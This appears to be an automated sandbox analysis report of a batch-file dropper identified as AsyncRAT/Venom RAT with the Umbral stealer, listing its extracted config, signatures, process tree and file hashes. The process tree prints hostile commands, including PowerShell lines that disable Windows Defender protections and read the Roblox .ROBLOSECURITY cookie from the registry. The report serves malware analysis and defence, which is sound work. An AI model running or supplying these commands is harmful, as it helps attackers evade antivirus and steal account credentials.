Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-04-2024 20:56

General

  • Target

    C11Bootstrapper/Start.bat

  • Size

    1KB

  • MD5

    4e3179e79f11708b60c3af67718cc0ae

  • SHA1

    e22536c444427ce73dcc50091c28477c44e23210

  • SHA256

    6953af9e22a172b023757199cc77c0ea2353bfe7ab1843516a161081f0c1d76d

  • SHA512

    aaf2402399fe8887fe516a3be50054129298970dc322652dc02578a523be74135e02b6856f0b7b774df3c827b131d54828143583038bc5350c40e89dcd1409e1

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

127.0.0.1:4449

Mutex

tazbtpfpfzpxti

Attributes
  • delay

    1

  • install

    true

  • install_file

    PageEditor.exe

  • install_folder

    %Temp%

  • pastebin_config

    https://pastebin.com/raw/xZqBe1fC

aes.plain
aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies registry class 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 42 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Start.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3796
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K IndependenciesInstallation.bat
      2⤵
      • Checks computer location settings
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:932
      • C:\Windows\system32\timeout.exe
        timeout /t 5
        3⤵
        • Delays execution with timeout.exe
        PID:4976
      • C:\Windows\system32\timeout.exe
        timeout /t 1
        3⤵
        • Delays execution with timeout.exe
        PID:4204
      • C:\Windows\system32\timeout.exe
        timeout /t 3
        3⤵
        • Delays execution with timeout.exe
        PID:4512
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\msgbox.vbs"
        3⤵
          PID:4304
        • C:\Windows\system32\timeout.exe
          timeout /t 4
          3⤵
          • Delays execution with timeout.exe
          PID:3672
        • C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\C11Setup.exe
          C11Setup.exe
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:368
        • C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe
          GuiLoader.exe
          3⤵
          • Drops file in Drivers directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5104
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" csproduct get uuid
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2844
          • C:\Windows\SYSTEM32\attrib.exe
            "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe"
            4⤵
            • Views/modifies file attributes
            PID:4196
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe'
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:4208
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:952
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2104
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:348
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" os get Caption
            4⤵
              PID:2588
            • C:\Windows\System32\Wbem\wmic.exe
              "wmic.exe" computersystem get totalphysicalmemory
              4⤵
                PID:2300
              • C:\Windows\System32\Wbem\wmic.exe
                "wmic.exe" csproduct get uuid
                4⤵
                  PID:2220
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                  4⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3484
                • C:\Windows\System32\Wbem\wmic.exe
                  "wmic" path win32_VideoController get name
                  4⤵
                  • Detects videocard installed
                  PID:4324
                • C:\Windows\SYSTEM32\cmd.exe
                  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe" && pause
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2576
                  • C:\Windows\system32\PING.EXE
                    ping localhost
                    5⤵
                    • Runs ping.exe
                    PID:1356
              • C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\PageEditor.exe
                PageEditor.exe
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3868

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            43475d20ed96d7c6627d7f7f5726a901

            SHA1

            2e1704dc14bcfe8bc0311e26cb48c3fb884407c4

            SHA256

            299720508b495a169d1cd56c6ab6d75a829c6b2edfd4a7816b4f581c0c8eae9a

            SHA512

            d9a05e8e473fc9bfb56b882d09772c99518675a7c99769f95df2466ae11ed3b62d01cb70e07db9bc51961c14fdc778efad3393213c0f08dff7bed9ea5b44623f

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            77d622bb1a5b250869a3238b9bc1402b

            SHA1

            d47f4003c2554b9dfc4c16f22460b331886b191b

            SHA256

            f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

            SHA512

            d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            948B

            MD5

            74a6b79d36b4aae8b027a218bc6e1af7

            SHA1

            0350e46c1df6934903c4820a00b0bc4721779e5f

            SHA256

            60c64f6803d7ad1408d0a8628100470859b16ef332d5f1bd8bb2debe51251d04

            SHA512

            60e71435a9a23f4c144d641844f4182ddc9aa4ccd3e99232149a187112dce96458aab9587e9fea46f5dc5a52f5ca758969a04657a2b5b10241d3e4554f7c85e0

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            227556da5e65f6819f477756808c17e4

            SHA1

            6ffce766e881ca2a60180bb25f4981b183f78279

            SHA256

            101f5fe8a4192f14e9f0a12c105ca81c9f176860930af44747185dd1bedb59a4

            SHA512

            d46b935809d2c4b7a041ad790f2db11c0a808df022c91ae9152b8769021b884fde49653a7a46557ef9ee65e274fe0b6c8503df9b50e6b3b849fefacf51f8bd6a

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ble2cpf5.qnt.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

            Filesize

            8B

            MD5

            cf759e4c5f14fe3eec41b87ed756cea8

            SHA1

            c27c796bb3c2fac929359563676f4ba1ffada1f5

            SHA256

            c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

            SHA512

            c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

          • memory/348-88-0x00007FFFAE3B0000-0x00007FFFAEE71000-memory.dmp

            Filesize

            10.8MB

          • memory/348-90-0x000001937A8E0000-0x000001937A8F0000-memory.dmp

            Filesize

            64KB

          • memory/348-89-0x000001937A8E0000-0x000001937A8F0000-memory.dmp

            Filesize

            64KB

          • memory/348-92-0x000001937A8E0000-0x000001937A8F0000-memory.dmp

            Filesize

            64KB

          • memory/348-94-0x00007FFFAE3B0000-0x00007FFFAEE71000-memory.dmp

            Filesize

            10.8MB

          • memory/368-91-0x00007FFFAE3B0000-0x00007FFFAEE71000-memory.dmp

            Filesize

            10.8MB

          • memory/368-8-0x000000001AFB0000-0x000000001AFC0000-memory.dmp

            Filesize

            64KB

          • memory/368-2-0x0000000000180000-0x00000000001C4000-memory.dmp

            Filesize

            272KB

          • memory/368-3-0x00007FFFAE3B0000-0x00007FFFAEE71000-memory.dmp

            Filesize

            10.8MB

          • memory/368-96-0x000000001AFB0000-0x000000001AFC0000-memory.dmp

            Filesize

            64KB

          • memory/952-44-0x00007FFFAE3B0000-0x00007FFFAEE71000-memory.dmp

            Filesize

            10.8MB

          • memory/952-30-0x000001DFAA170000-0x000001DFAA180000-memory.dmp

            Filesize

            64KB

          • memory/952-31-0x000001DFAA170000-0x000001DFAA180000-memory.dmp

            Filesize

            64KB

          • memory/952-42-0x000001DFAA170000-0x000001DFAA180000-memory.dmp

            Filesize

            64KB

          • memory/952-29-0x00007FFFAE3B0000-0x00007FFFAEE71000-memory.dmp

            Filesize

            10.8MB

          • memory/2104-50-0x00007FFFAE3B0000-0x00007FFFAEE71000-memory.dmp

            Filesize

            10.8MB

          • memory/2104-77-0x00007FFFAE3B0000-0x00007FFFAEE71000-memory.dmp

            Filesize

            10.8MB

          • memory/2104-75-0x000001EE9A030000-0x000001EE9A040000-memory.dmp

            Filesize

            64KB

          • memory/2104-52-0x000001EE9A030000-0x000001EE9A040000-memory.dmp

            Filesize

            64KB

          • memory/2104-51-0x000001EE9A030000-0x000001EE9A040000-memory.dmp

            Filesize

            64KB

          • memory/3484-113-0x00007FFFAE3B0000-0x00007FFFAEE71000-memory.dmp

            Filesize

            10.8MB

          • memory/3484-117-0x00007FFFAE3B0000-0x00007FFFAEE71000-memory.dmp

            Filesize

            10.8MB

          • memory/3484-114-0x0000023022AD0000-0x0000023022AE0000-memory.dmp

            Filesize

            64KB

          • memory/3484-115-0x0000023022AD0000-0x0000023022AE0000-memory.dmp

            Filesize

            64KB

          • memory/3868-6-0x00007FFFAE3B0000-0x00007FFFAEE71000-memory.dmp

            Filesize

            10.8MB

          • memory/3868-23-0x00007FFFAE3B0000-0x00007FFFAEE71000-memory.dmp

            Filesize

            10.8MB

          • memory/3868-1-0x0000000000FB0000-0x0000000000FC8000-memory.dmp

            Filesize

            96KB

          • memory/4208-11-0x000002327DB10000-0x000002327DB20000-memory.dmp

            Filesize

            64KB

          • memory/4208-10-0x00007FFFAE3B0000-0x00007FFFAEE71000-memory.dmp

            Filesize

            10.8MB

          • memory/4208-12-0x000002327DB10000-0x000002327DB20000-memory.dmp

            Filesize

            64KB

          • memory/4208-13-0x000002327DA90000-0x000002327DAB2000-memory.dmp

            Filesize

            136KB

          • memory/4208-27-0x00007FFFAE3B0000-0x00007FFFAEE71000-memory.dmp

            Filesize

            10.8MB

          • memory/4208-24-0x000002327DB10000-0x000002327DB20000-memory.dmp

            Filesize

            64KB

          • memory/5104-95-0x0000020D9A2C0000-0x0000020D9A2D0000-memory.dmp

            Filesize

            64KB

          • memory/5104-47-0x0000020DFF7C0000-0x0000020DFF836000-memory.dmp

            Filesize

            472KB

          • memory/5104-98-0x0000020DFF740000-0x0000020DFF74A000-memory.dmp

            Filesize

            40KB

          • memory/5104-99-0x0000020DFF7A0000-0x0000020DFF7B2000-memory.dmp

            Filesize

            72KB

          • memory/5104-102-0x00007FFFAE3B0000-0x00007FFFAEE71000-memory.dmp

            Filesize

            10.8MB

          • memory/5104-0-0x0000020DFF3A0000-0x0000020DFF3E4000-memory.dmp

            Filesize

            272KB

          • memory/5104-48-0x0000020DFF840000-0x0000020DFF890000-memory.dmp

            Filesize

            320KB

          • memory/5104-49-0x0000020DFF760000-0x0000020DFF77E000-memory.dmp

            Filesize

            120KB

          • memory/5104-9-0x00007FFFAE3B0000-0x00007FFFAEE71000-memory.dmp

            Filesize

            10.8MB

          • memory/5104-7-0x0000020D9A2C0000-0x0000020D9A2D0000-memory.dmp

            Filesize

            64KB

          • memory/5104-122-0x00007FFFAE3B0000-0x00007FFFAEE71000-memory.dmp

            Filesize

            10.8MB